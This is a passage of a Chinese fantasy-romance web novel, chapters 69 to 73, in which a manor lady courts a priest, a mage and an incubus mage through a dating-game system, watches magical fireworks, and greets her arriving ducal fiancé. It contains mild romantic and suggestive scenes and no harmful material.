“小姐,您最好不要这么随意地使用神的圣名发誓,这常常被认为是对神的不尊重。”米迦尔忍不住纠正她这种自己可能都没意识到的渎神行为。 “好吧。” 真是油盐不进的家伙。 艾米沮丧地垂下嘴角,声音不再轻快。 米迦尔看着她头顶的发丝,忽然对自己刚才所说的话感到有点后悔。 即使这位小姐对待神的态度有些过于随心所欲了,他也没必要非得现在纠正她的表达。 “那我就重新再说一次吧。” 正在犹豫要不要说点什么的米迦尔看到面前的领主小姐再度露出了灿烂的笑容。 “虽然饼干的样子奇怪了些,但我以我对您的爱发誓,味道还是很不错的。” 米迦尔想说的话吞进了肚子里。 他感觉后背的伤口摩擦衣服后不仅疼,还开始泛起酥酥麻麻的痒意。 “神官大人,我可以用这个起誓吗?”艾米眨了眨眼睛问。 她的眸子是栗色的,和她的头发一样,和绝大多数人类一样。 从外貌上来说,她缺乏特殊性,这这种颜色既不具有高贵血统的联想,也没有被神恩赐过的痕迹——但就是这种普遍性的元素,总令米迦尔联想到无害、善良和温暖。 尤其是现在,这双栗色的眸子里只倒映着他一个人的影子,睁大的眼瞳盛满期待,让人无法不回应。 “当然可以。”米迦尔微笑着说:“谢谢您的礼物,我会好好品尝的。” 他低头,看着因为心愿达成而忍不住眼睛弯成月牙的领主小姐,不由自主地想起从苦修室窗户洒进来的月光。 昨晚进行自我惩戒的时候,他跪在苦修室里,一直注视着面前地面那一小片莹白的光,来对抗后背持续鞭打造成的疼痛。 但这月光只有那么薄薄一片,还会随着时间的推移,变得越来越小,直至消失。 月光不属于苦修室,它只是月亮的投影 ,就像年轻的小姐要用爱起誓,听起来天真又可爱,可实际也只是她饱满炽热爱意投下的一片薄薄的影子罢了。 米迦尔感觉后背的疼痛混杂着细细密密的痒意在啄食着他的心口。 他无法将月光私有。 但如果是人的话,也许可以。 第70章 第70章你还是说不出话的时候更…… 关于烟花,布利斯回信说他会过来一趟,以及他“恰好需要去北境的寒霜之森寻找一种只在夏天开放的水系冰雾花”。 艾米忽略了他别扭的借口,回信表示感激。 科林将公爵大人的度假庄园选在了小镇北部郊外靠近河流的林间。艾米散步时曾路过那里,她发现在魔法师的帮助下,庄园的修建进度快得惊人,主楼的雏形都已经搭建完成,工匠正在对砌好的石墙灌注灰浆,木材整齐地码放在附近的空地上,等待屋顶的铺设。 即使抛去魔法助力的部分不谈,这支建筑队从规划到建设的所有环节都十分专业,分工明确,效率很高。 领主小姐蠢蠢欲动,很难不生出想要据为己有的念头。 “你说公爵大人会愿意把这队建筑工当聘礼送给我吗?”艾米曾在私底下这么询问古德先生。 年老的绅士用方格纹手帕擦了擦额头的汗,看着自家小姐的脸色谨慎说道:“您还没写信和公爵大人提及这件事吧?” 艾米摇头:“您是我的长辈,我当然想要听听你的意见。” 古德先生松了一口气:“既然不久后公爵大人就会前来拜访,不如等到那时候再讨论吧?” 艾米被说服了,暂时打消了这个念头。 除此之外,庄园里新增了一门新的算术课,除了简单的运算外,还涉及方程和几何,第一批学生的上课评价很不错,艾米也开始考虑将教学范围扩大到整个小镇。 于是她再次找到了米迦尔。 因为托利亚的所有人,只有他算是真地上过学——亚兰所在的学塔更像是研究院,不涉及基础教育。 艾米来到教堂的时候,神官大人正在给苏珊的女儿南希赐福。 南希怀孕已经有了八个月,下个月就即将临盆,这次在母亲的陪伴下,特意来祈求神的庇佑。 斑驳的光影透过窗户撒过地面,整个教堂都充满着静谧祥和。南希跪在圣坛的软垫之上,双手紧握,低垂着头,脸颊被阳光染上一层金边,令人无端地联想起她家院子里金灿灿的南瓜,一样的生机盎然,也同样可敬地孕育着蓬勃的生命。 艾米安静地坐在一旁的长凳上,小心翼翼不打扰到这对母女。米迦尔穿得格外正式,他面容平和,轻轻将手放在南希的头顶,为她诵念祈福的经文,低沉富有磁性的声音像一股暖流,伴随着莹白的光点萦绕在南希的周围。 终于,米迦尔念完了这一小节神对新生命的祝福,他合上了三圣经,对南希露出了一个鼓励的笑容。 “您很坚强,南希女士,神会庇佑您获得一个可爱、聪明、健康的孩子。” 年轻的母亲垂下头,轻轻擦拭着眼角;而与此同时,她的母亲站在旁边,忧愁的目光轻轻落在自己的女儿身上。 艾米忽然对米迦尔生出了几分好感。 不是对于他本人,而是对于拥有神官这个身份的他。 即使领主小姐和光明神再两看相厌,也不得不承认,一位即将临盆的焦虑的母亲,需要的恰恰是这种温柔耐心的慰藉。 这是她无法提供的帮助。 在这个糟糕的世界里,死亡是一件稀松平常的事情。病痛、意外、暴雪、兽潮无数可能都会带来死亡,其中的大部分都无法规避,也无法挽回。而最起码现在,在这座教堂里,在“神”的注视下,年轻母亲关于腹中孩子的担忧以及无处不在的死亡的阴霾,得以暂时被吹散。 无论如何,人类还是需要这种宽慰。 “艾米小姐!” 苏珊注意到后排长椅上的领主小姐,连忙朝南希挥手,让她跟上。 “快来!” 艾米看着像个企鹅一样挺着肚子朝自己走来的南希,手足无措地站起身,她不知道有什么要紧的事情,会让身体笨重的孕妇这么着急。 “小姐。”南希的脸红扑扑的,眼睛璀璨晶亮:“我可以请求您为我腹中的孩子祈福吗?” 艾米点头,她伸出手,和年轻母亲柔软的手相握:“嗯你想听我说点什么?” “请祝福我的孩子吧。”南希说。 艾米回忆起刚才米迦尔的颂词,依葫芦画瓢:“那么,我祝你拥有一个健康、美丽、又聪慧的孩子。” 南希看上去很激动:“谢谢领主小姐!得到您的祝福,我就放心多了。” 她擦了擦眼角,艾米才注意到,那不是泪,而是她多汗的体质沁出的水痕。 “拖您的福,孩子一定会长得漂漂亮亮的!只是,我还有个额外的请求”她看了看自己的母亲,有些犹豫地继续说下去:“常跟在您身边的那位金色头发的年轻姑娘,我能去找她为我的孩子送上祝福吗?” 艾米摸不清头脑。 她没听说过托利亚之前的孕妇有这样的习俗,未生产前还需要找这么多人来祈福。 苏珊噗嗤笑出了声,在一旁解释道:“小姐,您见过南希的丈夫吧?那位外号叫小眼睛吉亚的年轻人。” “南希前几天做了个噩梦,她梦见孩子出生后眼睛和吉亚一样小,为此烦恼了好一阵子。隔壁邻居告诉我们,如果想要孩子生出来漂漂亮亮,就要找小镇所有漂亮的人送上祝福才行。” 艾米也忍不住莞尔:“当然可以。” 她想了想,补充道:“再过两天,领主府还有一位新的客人会来,他是我见过最漂亮的人,你可以去讨要一个祝福。” 大概是觉得自己造成了太多麻烦,南希看起来有些不好意思。 艾米还握着这位年轻母亲的手。 她轻轻攥住她汗涔涔的手,认真地送上了最后一句祝福。 “南希,我还要祝你,在分娩时远离痛苦和危险,健康平安。” ——这是她的母亲最想听到的祝福。 米迦尔站在圣台上,隔着一段距离远远地看着她们。 神只会回应那些向祂祷告的声音,他也只会帮助那些主动向他寻求帮助的人类。 很明显,这对母女现在并不需要他的帮助。 他看着软栗色头发的领主小姐有些慌张地站起身,没什么经验又笨拙地为自己的子民赐福,叽里咕噜地,说得磕磕绊绊。 这个时候,她反而不像小蛇了。 她的狡猾全用在了对付自己身上。 想到此处,米迦尔的心口生出无法言说的愉悦- 神官大人几乎没有任何犹豫就答应了帮助自己办学校的事情,还愿意成为学校的第一个老师,使用《聪明洛里斯故事集》而不是《三圣经》作为识字课的课本。 艾米本以为他最起码会坚持要开办一门神学课来讲解《三圣经》的释义。 “那么,领主小姐,您会同意我教授这门课吗?”米迦尔问。 艾米挣扎着摇了摇头。 “所以,这就是原因。”神官大人温和地说:“很高兴我能帮到您,同时,请您相信,我无意让您在这件事上为难。” 艾米被哄得飘飘然地走了,直到回到领主府,她才想起来自己是去攻略他的,不是去被他攻略的。 过了几天,布利斯如约而来。 他看起来和之前没什么两样,倨傲冷漠的表情,永远穿得一丝不苟的衬衫和外套,以及出现在哪里都会引起的骚动。 领主府的年轻女孩儿都疯了,争先恐后想整理他房间的床铺,或者为他送去新浴巾。艾米也终于理解为何布利斯少爷要住在王城郊外的乡村庄园里。 他确实需要住得离人群远点。 “你就 不能给自己下个毁容咒之类的让自己看起来没这么好看的法术吗?” 在路过的女仆第三次打翻手里的茶水后,艾米忍不住抱怨。 天地可鉴,这些姑娘们本来都是工作认真的好孩子,结果每当看到布利斯出现就会频繁粗心犯错。 “我应邀而来,反而让你更困扰了是吗?”布利斯冷冷地说:“那还真是抱歉。” 艾米立刻服软:“我倒也不是这个意思。” “我看到了你的回信,你已经明白了烟花的意思了是吗?” 他随手搓了个劈里啪啦的小光团:“你想要一个,比这个更强,能发射到天空让整个小镇的人都看到的东西。” “最好还是五颜六色的光。”艾米将自己这几天画的烟花给他看,一边讲解一边比划:“就像这样,烟花冲上天空的时候,像划破夜幕的流星拖着长尾,等到升到最高点,就会在空中从中心炸开的,每一层光圈都呈现出绚丽的效果。” “这是可以的吗?” 布利斯嗯了一声。 他的指节在画纸上轻叩两下:“还差几种材料,应该在这几天内可以完成。” “太好了!” 艾米和他交谈时尽量避免直视他的眼睛,但兴奋时就有点忘乎所以了。她甚至主动去寻找他的视线,仅仅是因为下意识想要确认对方和自己一样开心。 湖绿色的眸子瞬间将她牢牢吸引。 “凡是都有代价,小姐。烟花完成后,你需要支付我报酬。”他抽走对方手中的纸张:“而现在,我需要一点定金。” 艾米感觉脑子变成了浆糊:“等等…这里是会客厅——” 门口还有女仆来来往往,她们装作送茶水而频繁出现,并不是个私密的地方。 布利斯挥了挥手中的画稿:“我说的是这个,小姐。” 他身体靠近,艾米闻到薄荷的香味:“你以为是什么?” 可恶,被戏耍了。 结束会客准备回房间的时候,艾米被亚兰堵住了。 他将她压在门后,这个姿势有点像他们第一次见面时的情况,只是现在两个人的站位相反。 年轻男人语气不佳,情绪低沉:“他也是你的玩具之一?” “亚兰。” “嗯?” 艾米极具恶霸作风地掐了掐他的屁股,踮起脚尖看着他的眼睛: “你还是喘得说不出话的时候更可爱。”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 70-80 第71章 第71章做狗也没什么不好。…… 亚兰不自在地躲开了艾米的目光,他刚刚好不容易攒起来的一点生气似乎轻而易举地就散了。 “不过这次做得很好呢。”艾米仰头,微微眯起眼睛,欣慰的语气中带着嘉奖:“最起码没有像之前那样不声不响地躲起来半个月不和我说话。” “那也没有半个月明明只有七天。”亚兰偏开头,小声又委屈地说。 “是吗?”艾米伸出双手捧着他的脸,将其摆正和自己对视:“可是我感觉有半个月那么长——” “你不和我说话的每一天,我都觉得时间变得非常漫长。” 亚兰涨红了脸。 她怎么能这么镇定又自然地说出这种话!就好像,说了一万遍那么熟练。 男人咬了口她放在自己侧脸的手指,小小地表达了不满。 “诶?不是你说想听这些的吗?”艾米瞪圆了眼睛,她明明记得他这么拜托过。什么‘如果你愿意在每次使用我之前对我说这样的话,即使是谎言,我也会觉得幸福的’这种要求,她很认真地记在心里了。 “反正你尤其擅长谎言。”亚兰闷闷地说。 艾米手指用力,在他白皙的脸上留下掐痕:“我都说了!是真心话来的,你不想听的话以后也没了。” 她松开手,立刻就要推开对方结束对话。 “没有不想听。”亚兰扣回她的手腕:“别走。” 他脸上的薄红未散,像草莓果酱抹在奶油上:“最近领主府的所有姑娘都在谈论你的那位客人,她们都很喜欢他。” 艾米故意装作没听懂:“因为姑娘们都在谈他,所以你嫉妒了吗?” “我没有!”在看到她笑盈盈的表情后,亚兰意识到自己有些失控,他敛了敛神:“你明明就知道,我只在意你怎么看。” “我认识他,比认识你还更早些。”艾米老老实实地说。 就算是当小三,布利斯拿的号码牌也排得更靠前。 “他这次过来,是为我制作庆典需要的烟花。”她微微抬头直视着对方的眼睛,谨慎地措辞:“因为因为他是位魔法师,我的魔力就是他馈赠的。” “他对你来说很有用是吗?” “可以这么说吧。” 亚兰低头,捧着她的手指把玩,额前的头发挡住了他的面容,绷紧的唇让他看起来很冷漠。 “我也很有用的。”他忽然说。 艾米愣了一下。 男人重新牵着她细长的手指贴在自己唇边。 “我会比他更有用。” 软肉轻轻划过指腹,她回过神,看到对方泛红的眼尾。 “既然你这么说。”领主小姐抽回手腕,表情严肃认真。 “那不同种类棉花纤维产量和保暖性的研究什么时候能写完给我?”- 亚兰有一件事情说得没错。 领主府所有的姑娘都在谈论布利斯,他就像块巨大的吸铁石,轻而易举就能俘获所有磁场范围内女孩们的心。 艾米甚至开始考虑要不要把他赶出去住了,因为只要他一出现,就会特别影响工作。 “明明奥利维亚夫人就可以控制好自己的魅惑能力,你为什么不行?”她问。 布利斯冷笑着张口:“因为我无时无刻都在饥饿中,我的身体认为我需要释放这些帮助我捕猎进食。” 艾米哑然,她想了想又问:“毁容法术的事情你不能再考虑考虑吗?” “这是我天生的!我就算变成一只公银狼也会这样!”布利斯被气笑了。 “说到银狼。”艾米又有了主意:“混淆咒之类的不行吗?比如让其他人觉得你是张桌子之类的。” “小姐。”布利斯面无表情地抬眼:“如果您实在在意的话,可以每天先喂饱我,再让我开始工作。” 领主小姐立刻慌乱地躲开他的视线,大口喝着茶水来掩饰心虚。 喂饱他?那自己每天就没有时间做其他事情了。 屋内重新恢复了安静,几分钟后,艾米觉得越来越燥热。 她解开自己衣服最上面领口的扣子,用手不断在锁骨处扇风:“好热,你是不是对我做了什么?” “你五分钟喝完了三杯热茶。”在阅读的青年头也不抬地说。 艾米的手指因为尴尬而短暂停滞。 “哦。”她声音拖得很长,然后继续扇风的动作:“原来是这样。” 布利斯清脆地一声合上手中的书。 “你想现在看看还没完全做好的烟花吗?” “可现在是白天。”艾米望向窗外。 “是。”布利斯站起身:“所以你想继续在这里这样撩拨我,等到我无法忍受饥饿而开始享用食物,还是想出去看看半成品烟花。” “那我选出去。”艾米立刻做出正确的判断- 今天的天气不是很好,天灰蒙蒙的,成团的阴云聚在一起,透着想要下雨的沉闷。 所有人都对天气有着相同的看法。这样有些糟糕的天气里,街道还比往日更热闹些,大家都抓紧把晾晒在外面的衣服被子和干货收回来,或者尽量早点把外面的活干完回家。 “艾米小姐,今天看起来可是会下雨呢。”遇到第三位如此提醒她的居民后,艾米自己也开始心底泛着嘀咕,考虑要不要回去。 布利斯走在距离她半步的位置,轻而易举就能从她的侧脸读出她的想法。 “你是觉得我会让你淋雨吗?”他十分不理解。 “对哦,你是魔法师呢。”穿着轻薄柔软针织物的少女露出恍然的神色:“你要明白,我们普通人都是有思维定势的,很多事情根本想不到需要用魔法解决。” “不过既然说到这个,你送给我的魔法口袋很不好用。”艾米看向他:“上次我想找一个简单的失物寻回卷轴,差点把口袋翻了个底朝天。” “你能不能给我加个方便搜索的功能?只是帮个小忙而已,不能算我使用了契约的要求吧?” 没错。 就是这种理直气 壮开始指挥起他的语气,以及这种只论达成目标的毫无在意。 什么“有什么合法拥有魔法的方法”、“这种能清除接吻后身上沾染的气味的卷轴能不能再给我两个”总之,她好像能够没有心理负担地直接张口索要,甚至在遭到拒绝后还能坦然地表示“我就是问问,你干嘛生气呢”。 也就只有雷尔夫那个家伙会愿意这样像条狗一样被她使唤。 布利斯想。 艾米脚步放缓,还在等他回复:“很难吗?” 布利斯的眸子沉沉地看着她,不知道在想什么。 艾米很怕被蛊惑到,迅速地收回了视线,目光向前,边走边说:“但这个功能很重要嘛,你看,如果我真地遇上了危险,很可能卷轴还没来得及掏出来就死掉了。” 柔软单薄的针织物外衣在领口处描摹她的肩颈,布利斯忍不住回想起这块皮肤的触感,像黄油,像奶皮,像布丁,可口美味,轻轻吮吸就会引得她整个身体轻颤。 “如果我死了你也会受影响的吧?所以这个需求的必要性很高啊,难也应该做的嘛。”艾米继续说道。 布利斯很想用吻把她的嘴堵上。 “不难。”他终于松口。 “交给我吧,我帮你解决。” 算了,做狗也没什么不好。 第72章 第72章不含任何情。欲的吻。…… 云层很厚,把太阳遮得严严实实,虽然不晒,但艾米在沿着山坡往上走的时候还是感觉很热,她脱掉了针织外衣搭在臂弯,露出里面的丝绸衬裙。 真是难得,居然出汗了! 看来夏天真的已经到了。 想到这里,艾米朝建筑工地的方向望了望。度假庄园的屋顶已经封盖完成,大量的材料还堆积在庭院,陆续进出的工人似乎已推进行到内部装饰的环节。 除此之外,庄园外从主干道连接到此处的道路也正在修建,碎石子混着灰浆均匀涂抹在泥巴土地上,道路两旁的树林换上了统一的风格,它们被修剪枝桠以保持相似宽度的分叉;那位叫科林的大魔法师兼项目负责人从汤姆茉莉那买了许多茉莉,移植到庄园大门附近,和其他植物一起装点围墙,站在山坡上往下看的时候,非常漂亮。 微微的凉风吹拂起她的发丝,燥热的后颈舒服了不少。 艾米抬头看向大魔导师,猜到是他的手笔,于是很有礼貌地表达了感谢。 “你很好奇你的未婚夫?”布利斯语调平静。 “是有点好奇。”艾米诚实地说:“毕竟我还从未见过他。” “不过我听说哈卡兹家的人外貌都很英俊,所以只是好奇,并不是担心。” “哼。”布利斯忍不住发出嘲讽的声音:“那家伙是少有的自大狂。” 艾米吐槽:“我还以为您在自我介绍。” 布利斯淡淡看了她一眼,收回了清凉舒适的风。 艾米快步跟了上去:“你认识他?” “在母亲的宴会上见过几次,那时候他还没有继承父亲的爵位,就已经在王城的社交场上很有名了。” 艾米心底一紧,虽然知道大概率不会,但还是忍不住问:“等等,虽然这么贸然问有点奇怪,但我想知道,洛克公爵之前也曾是您母亲的呃,食物吗?” 布利斯皱眉,脸上似有不解:“你还会在意这个?” “那当然了。”艾米理直气壮地说。 “你的侍卫——算了。”布利斯无奈地瞥了她一眼,继续说下去,没有隐瞒的意思:“母亲不喜欢不受控的猎物。正相反,两个捕猎者之间常常是互斥的,有时她还会抱怨洛克的出现会惊扰到她的猎物。” 艾米还想继续打听一些别的细节,却看到布利斯停下了脚步。 “到了。”他说:“你还看不看烟花了?” 这是山坡上视野最好的区域,周围是大片的草地,没有荫蔽的树林,上次艾米野餐就是选择的这个位置,当时莉亚骑着马,远远就能看到山坡下的建筑工队伍。 艾米随便找了块石头坐下,手里的外衣搭放在膝盖上,像小学生的规矩坐姿,但说起话来却像小学生的班主任一样使唤人跑腿的语气:“我准备好了,放吧。” 布利斯挽起袖口,罕见地从怀里拿出了法杖。是根小臂长的纤细水晶制品,顶端镶嵌了一枚能看到明显流动感的黑曜石。 艾米见他无咒施法见多了,也是第一次见到他这么正式的起手姿势。 明亮刺眼的白光从法杖顶端“咻”得一声极快地冲上天空,短暂的滞空效果之后,伴随着极有穿透力的清脆爆炸声,从白光中炸出一个燃烧的火球。红色的焰光从中心呈放射状四散开。确实像一个小型的烟花,只是颜色有点单一。 “这是最简单的爆破咒加了火焰伤害的效果。”他像魔法学教授一样耐心地解释原理,手中法术的释放不停。 这次是蓝色的光冲上了天空,寒意笼罩天际,在火焰未消失的区域瞬间化成细小的晶莹冰锥如雨幕般洒下,艾米伸手去接,落到手心的时候就只剩下湿润的水汽了。 “好漂亮”她仰面感受到空气的冰凉,情不自禁地赞叹。 不是常规的圆形烟花,这更像是有颜色的焰火,在空中云雾状散开,是在白天也能欣赏得到的美丽。 布利斯嘴角微微上扬,心情很好:“这是最简单的版本,而且很安全,我已经制作了几个卷轴,你可以自己放着玩。” “不过接下来的,基本全都需要一定的施法技巧,对你来说暂时还有些危险。” 一条金色的光带忽然从他的法杖顶端冲了出来,蜿蜒急速地沿着艾米的周身游走、舞动,像是追逐自己尾巴的小蛇。 小蛇在劈里啪啦的细碎爆炸声中不断向更高处盘旋,成为近似龙的庞然大物,在空中朝着终点飞蛾扑火般依次剧烈地炸开。 砰,砰,砰,砰,砰。 金色的光点融进阴沉的云里。 艾米还没来得及感叹,那些半空中还未坠下的金色碎片被成簇腾起的红色彗星状焰火带着再度起飞,只余下空中长长的粉色尾焰。它们一同纠缠停滞在空中,噼噼啪啪地四周散开粉色云雾。 就在这时,那些隐没在云雾中的金色光点忽然小簇地再度炸开,像无数精巧可爱的捧花在一瞬间填满了更高更广阔的天空。艾米震惊得几乎说不出话,她目击所及的天空像一场盛大的花束展览,粉金、艳红、橙黄,玫紫,万花齐放,清晰可见,又转瞬即逝,层层叠叠,最后化为光点消失。 炸响逐渐减弱,但细碎的劈里啪啦声似乎还在耳边响起。 艾米顺着声音的方向寻找,发现金色的小蛇重新落回她的身边盘旋,终于,它的蛇身首尾结环,在蛇头的努力吞噬之下,光带慢慢变小、变细,飘荡着在她的眼前落下。 艾米又忍不住伸手去接。 然后没想到居然真的抓住了一条细长的金色链子。 没有额外的宝石和装饰,就是一条精致的金色素链。 她正为此惊讶出神,布利斯不知何时靠近伸手拿走了这根素链。 “起来。”他握住艾米的小臂,将她从石块上轻轻拽起。 手臂的主人还在困惑中,布利斯已经自然地将她散落在肩头的头发撩起。 “别——别靠这么近。”艾米惊慌失措地说。 薄荷的香味几乎要将她整个笼罩,微醺后无法控制的感觉又猛烈地涌了上来。 不行不行不行不行不行 布利斯的手已经贴上了她的衬裙领口,艾米腿软得几乎无法站立,只能努力扒住男人胸口的衣服,挂在他的臂弯上勉强稳住身体。 又来了,溺水的感觉,无法呼吸的剧烈心跳她的大脑无法控制自己的生理反应,而坚持不了多久,这丁点理智和清醒也会在魅魔少爷的怀里被彻底摧毁。 不要不要不要不要不要 “别紧张,只是送你个礼物。”布利斯的声音从头顶落下。 胸口微凉的触感逐渐蔓延全身,吹散了刚才无端出现的燥热。 “这是一件魔法道具。”男人的手指在她的后颈摸索,为她扣上了项链:“还记得你在永夜城企图用小把戏哄骗迪特克公爵的事情吗?他能这么快发现,就是因为身上佩戴了能抵挡大部分迷惑和精神控制的魔法道具。不过这个比所有的一切都更好,它能够抵御几乎你能想得到的魔法伤害。别摘下来。” 薄荷的香气还在鼻尖萦绕,但艾米感觉身体的掌控力却重新回到了 自己的手中。 布利斯靠得很近,手指划过她的肌肤,男性的气息几乎将她全部笼罩。这些亲密接触都让她紧张,但却不再是之前无法抑制的燥热和腿软。 男人温热的掌心扶在她的肩膀上。 “抬头。” 艾米的视线撞进湖绿色的眸子中。 这是她第一次清醒地观察这双眼睛,它像湖水一样澄澈和宁静,甚至还有些冷意。 “最重要的是,它可以让你抵挡住我的魅惑。” 这也是布利斯第一次看到面前的这双眼睛里还有这么多除了潋滟失焦之外的情绪。 它好奇、带着探寻,又紧接着陷入了思考,瞳仁滴溜溜地转动,像小鹿,小猫,小狗——像他在乡下散步时看到的一切小动物。 他观察不到太多人类的样本,也只能用自己记忆中动物的眼睛与之相匹配。 情动时带着水润的样子很漂亮,令他饥饿,想要品尝,想要为所欲为地摆弄这具身体,然后将她所有流淌的所有泪水和液体全部吃掉。 但现在更漂亮。现在的样子,令他想爱她。 “你的眼睛很漂亮。”艾米观察了一会,十分认真地评论道:“只是很可惜,大部分人都看不到你这双漂亮的眼睛。” 布利斯没有第一时间说话。 他想,这正是他最厌恶的地方。 所有人都能看到你这双漂亮眼睛的全部,而只有我不行。 “艾米。” 栗色的眼眸在听到自己名字后条件反射一般地瞳孔微张,非常灵敏,也非常动人。 “我可以现在索取一点我的报酬吗?在你清醒的时候。” 眼睛的主人在短暂的纠结后给出了许可的示意。 他俯身,闭上眼睛轻轻在她的头顶落下自己的吻。 宁静,澄澈,不含任何情。欲。 第73章 第73章所有的一切都做好了迎接…… 布利斯的立绘边框也变成了金色。 屏幕之上,他的加成词条全部解锁,其中,lv5的部分显示了和亚兰、雷尔夫一样的内容。 “好感度达到100后,获得碎片一枚,且技能加成永久固定。” 约会图鉴上已经点亮了包括S、A、B三种品质共几十张约会卡,其中显示技能还未使用过的有六张。 三张是S卡,分别是雷尔夫【醉兽情潮】、布利斯【不渝之约】,以及一张亚兰的【作茧自缚】。 艾米点开【作茧自缚】的卡面,身穿睡袍的亚兰坐在沙发上,双手举起被束缚术捆在耳侧,而自己则用力拽着他的衣领,膝盖分开他的双腿,抵在中间。 想起来了,是那天的事情。 她被亚兰耐心地服务了一整夜,到后面眼泪流满了他的颈窝,而与此同时,这个男人还在在她的耳边为她介绍未婚夫的家族史。 【作茧自缚】 技能:陷阱的效果有时取决于猎物是否想挣脱的意愿。 使用后可无视一切物理和魔法,摆脱一次捆绑束缚。 另外三张未使用过的A级别,分别是米迦尔的【谎言成真】,雷尔夫的【眷恋舞曲】,以及最新获得的这张布利斯的【白日焰火】。 【恋恋舞曲】的技能和【醉兽情潮】有着同出一辙的抽象气质。 醉兽卡是可以变成狼,而跳舞卡在使用后则会奏响一支十分钟的舞曲。 艾米对此百思不得其解,将技能描述翻来覆去看了半天,确认只有这么孤零零的一句话。 除了能给现场增加一点氛围,她想不明白这个技能到底能有什么效用。 布利斯的【白日焰火】就显得简单明确得多,这张烟花卡能够复制一次盛大的烟花表演。 回想起来,从布利斯身上刷出来的约会卡技能都很实用,甚至他本人,也非常实用。 坐拥六张约会卡,艾米忽然觉得自己一跃成为了技能富翁,安全感十足。 但这些还不是最关键的。 最重要的是——米迦尔的好感度在布利斯带自己放烟花之后,突破了60点。 也就是说,她终于要有矿了- 桌子上摆放着一块拳头大小的黑褐色、表面呈现淡淡光泽的煤炭。 看到艾米伸手想要去摸,古德先生忍不住阻止:“小姐,这种矿石上面有很多不知名的颗粒物,会弄脏您的手。” “没关系。” 不规则的石块的表面有着肉眼可见的粗糙纹理,夹杂着零星的白色和黄色斑点,触摸时确实能感到明显的颗粒物,艾米的手拿开,指腹上留下了黑色的痕迹。 亚兰对煤炭的好奇不比她低。 “我在书上看到过这种矿石。”他说:“在某些地区,人们选择用它来代替木炭。” “但因为它非常肮脏,以及燃烧时会有大量的烟,所以只有少数平民会使用。” 艾米好奇:“可是这个不是比木材烧得更久吗?为什么那些地方的领主不组织领地上的子民去开采它呢?” “开采?”亚兰似乎是觉得这个问题显而易见:“我想,应该是因为没人需要这种东西?所以只有附近的平民会自己背上竹篓用铁镐敲下一些使用。” “怎么会呢!”艾米惊讶,立刻说到:“最起码在北境,这种东西可以用来取暖!” “是,但贵族可以使用黑曜石驱动魔法来实现,而对于平民来说,煤炭也比不上木材。如果有得选的话,我想大多数人都希望壁炉里烧的是木头,而不是这种东西。” 亚兰放下手中的煤炭,拿起一旁的毛巾擦拭:“另外,即便是可以取暖,也没有专门组织开采的必要,有需要的人自己去撬来一点就够了。” 艾米一时有些懵,她还没想过这个问题。 “不过我第一次知道这种矿石,是在一本讲盔甲制作的书上。很多家族有自己传承的骑士之剑、荣誉盔甲,他们会找到有名的铁匠制作,有些铁匠会使用煤炭来打铁,因为温度更高,更耐烧。” 艾米眼睛一亮:“煤炭可以用来打铁。对于一个拥有驻兵的大领主来说,他们一定需要很多铁器。” 亚兰对艾米如此执着于这种不常见的燃料很是疑惑:“首先,北境到处都是森林,木材的获取要方便得多得多,为什么要从一个不知名、不方便的地方拉来煤炭使用呢?只有那些知名的铁匠大师才会不辞劳辛地寻找对他们来说更好用的煤炭——等等,这里我要补充一点,那本书专门提到,有‘好’煤炭和‘坏煤炭’的区别,直接用‘坏’煤炭打铁反而会使剑变得更脆更不耐用。” “其次,这种东西的开采并不方便。表面浅层的用铁镐敲下来倒是可以,但挖出浅坑后,那里一到下雨天就会蓄水,想要再去挖点煤炭上来,就得等水排干才行。” 艾米蔫了下来。 她从未想到,这个世界没人用煤炭,究极原因是因为并不好用。 大概是看她的表情太过沮丧,亚兰出言安慰:“你的领地上发现了这种石头总归来说是件好事,最起码接下来几年的冬天,因为暴雪和寒潮死去的人会少一些。另外,它虽然用起来脏了些,但仍然是廉价的,最起码敲几块石头下来,比砍树劈柴要简单得多。” “可是你都说了。挖出浅坑后,下雨天会蓄水。” “做个简单的排水装置就好了,如果你一定要开采这种东西的话。”亚兰想不明白艾米要组织人力开采这种东西的原因,但还是在纠结之后主动建议道:“你的未婚夫应该很清楚要如何采矿、垫砌竖井,以及进行矿洞排水。” “或者说,布佛里托矿工 协会的人肯定会清楚。” “让我再想一想吧。”艾米重新打起精神:“你可以把你看到过提到煤炭的几本书介绍给我吗?我想阅读一遍。” “大多数都是学塔的孤本。”亚兰沉吟:“不过它们同时都在我的脑子里。所以,我可以整理下来给你。” “那太好了。” 艾米转头看向古德先生:“对了,按照公爵信中所说的,他应该是明天下午抵达吧?” 管家先生一板一眼地回复:“是的,小姐。黛碧女士这些天几乎将领主府从内到外刷了个遍,连水晶灯都擦拭干净了。” “所有的一切,我是指一切,都做好了迎接公爵大人的准备。”- 第二天一早,艾米就起来梳妆打扮。她还记得这是个恋爱游戏,因此力求在新的攻略对象出现时表达自己的友善和诚意。 想到有钱的公爵大人应当见过许多华贵精致的贵族小姐和太太们,所以艾米专门挑选了一套嫩绿色的格子裙,将长卷发用差不多颜色的缎带束起,走田园风情的差异化路线。 一直到午饭后不久,奉命去小镇外大道迎接公爵大人的仆人骑着马回来了。 “公爵大人要到了。”他因为疾驰而气喘吁吁:“隔着很远就能听到马蹄的震颤,我差点以为隔壁领地开战了。” 艾米吃惊:“公爵大人带了多少人来?” “不知道。”仆人摇头:“他的马车队长得看不到头。” 领主府上上下下的人都动了起来,女仆长黛碧拽来一个手头没事的姑娘,让她想办法用热毛巾把小姐坐出褶皱的裙摆熨平整。 大概又过了半个钟,坐在二楼会客厅等待着的艾米都听到了城堡外街道传来的喧闹声响。 这座偏僻的小镇大概从未有过这么多人来,几乎所有人都推开了阳台的窗,或挤到楼下,来围观这支矜贵不凡的马车队。 无需侍从的提醒,正在楼梯上往下走的领主小姐一眼就从人群中辨认出了自己的未婚夫。 “公爵大人。”她迈着优雅的步伐快步迎上,脸上浮现恰到好处的礼貌笑容:“欢迎您来到托利亚。” 亚麻色卷发的男人气质矜贵,高大挺括,彬彬有礼。 “很高兴见到您,艾米小姐,您比我想象得更美丽。” 他的声音能令人联想到丝绸般材质的陈酿,醇厚低沉,富有成熟男人的魅力。 艾米留意到他的手,修长且有骨感,每一根指节都戴上了款式各异的黑色戒指,有些镶嵌了黑曜石,而有些就只是最简单的素戒。除此之外,他还在右侧耳垂上佩戴了一枚黑色宝石耳钉。 “在您邀请我坐下之前,请允许我先为您介绍我带来的礼物。”他表现得比自己这个主人更加自如。 男人招了招手,仆从们就提着一个接着一个皮质箱子鱼贯而入,几乎要将前厅塞满。 